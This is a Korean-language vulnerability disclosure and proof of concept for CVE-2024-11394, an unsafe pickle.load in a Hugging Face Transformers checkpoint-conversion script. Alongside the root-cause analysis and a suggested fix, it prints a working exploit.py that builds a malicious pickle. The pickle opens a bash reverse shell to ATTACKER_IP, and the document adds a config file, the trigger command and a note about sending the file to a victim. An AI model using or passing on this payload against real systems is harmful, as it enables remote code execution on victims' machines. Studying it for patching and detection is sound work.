
CVE-2024-11394에 대한 기술 세부 사항 및 익스플로잇
취약점 개요 및 영향:
이 취약점은 공격자가 악성 reformer trax 체크포인트 파일을 Hugging Face Transformers 저장소의 convert_reformer_trax_checkpoint_to_pytorch.py 스크립트에 제공하여 호스트 머신에서 임의 코드를 실행할 수 있도록 합니다.
만약 의심하지 않는 사용자가 타사 reformer trax 체크포인트 파일을 사용하고 convert_reformer_trax_checkpoint_to_pytorch.py 스크립트를 실행하면 피해자 시스템에서 원격 코드 실행(RCE)이 발생합니다.
취약한 제품
근본 원인 분석
취약점 상세 설명: 이 취약점은 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화로 인해 발생합니다. 스크립트가 pickle.load를 사용하여 체크포인트 파일을 로드하므로 코드 실행에 취약합니다.
입력에서 취약 조건까지의 코드 흐름:
reformer trax 모델을 다운로드합니다.convert_reformer_trax_checkpoint_to_pytorch.py 스크립트를 실행하고 체크포인트 파일을 전달합니다.convert_reformer_trax_checkpoint_to_pytorch.py 스크립트가 체크포인트 파일을 역직렬화하고 악성 코드를 실행합니다.주입 지점: pickle.load가 호출되는 지점에서 취약점이 발생합니다.
GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192
제안된 수정: pickle.load를 yaml.safe_load(yaml_file) 또는 json.load로 대체하여 임의 코드 실행을 방지합니다.
개념 증명 실행 지침:
exploit.py를 실행하여 피해자 시스템에 리버스 셸을 생성하는 악성 pickle 파일 malicious.pkl을 만듭니다:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
참고: 파일을 피해자에게 보내기 전에 ATTACKER_IP와 ATTACKER_PORT를 변경하십시오.
config.json 설정 파일을 생성합니다:{
"attention_head_size": 64,
"attention_probs_dropout_prob": 0.1,
"attn_layers": [
"local",
"lsh",
"local",
"lsh",
"local",
"lsh"
],
"axial_norm_std": 1.0,
"axial_pos_embds": true,
"axial_pos_embds_dim": [
64,
960
],
"axial_pos_shape": [
64,
64
],
"chunk_size_lm_head": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"feed_forward_size": 512,
"hash_seed": null,
"hidden_act": "relu",
"hidden_dropout_prob": 0.1,
"hidden_size": 1024,
"initializer_range": 0.02,
"is_decoder": true,
"layer_norm_eps": 1e-12,
"local_attention_probs_dropout_prob": 0.05,
"local_attn_chunk_length": 64,
"local_num_chunks_after": 0,
"local_num_chunks_before": 1,
"lsh_attention_probs_dropout_prob": 0.0,
"lsh_attn_chunk_length": 64,
"lsh_num_chunks_after": 0,
"lsh_num_chunks_before": 1,
"max_position_embeddings": 4096,
"model_type": "reformer",
"num_attention_heads": 16,
"num_buckets": null,
"num_hashes": 1,
"num_hidden_layers": 6,
"pad_token_id": 0,
"tie_word_embeddings": false,
"transformers_version": "4.42.4",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
convert_reformer_trax_checkpoint_to_pytorch.py 스크립트를 실행하고 malicious.pkl 파일을 --trax_model_pkl_path에 전달합니다:> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .
참고:
pytorch_dump_folder_path는 임의의 디렉터리로 설정할 수 있습니다.
소프트웨어 다운로드 링크:
https://github.com/huggingface/transformers/tree/main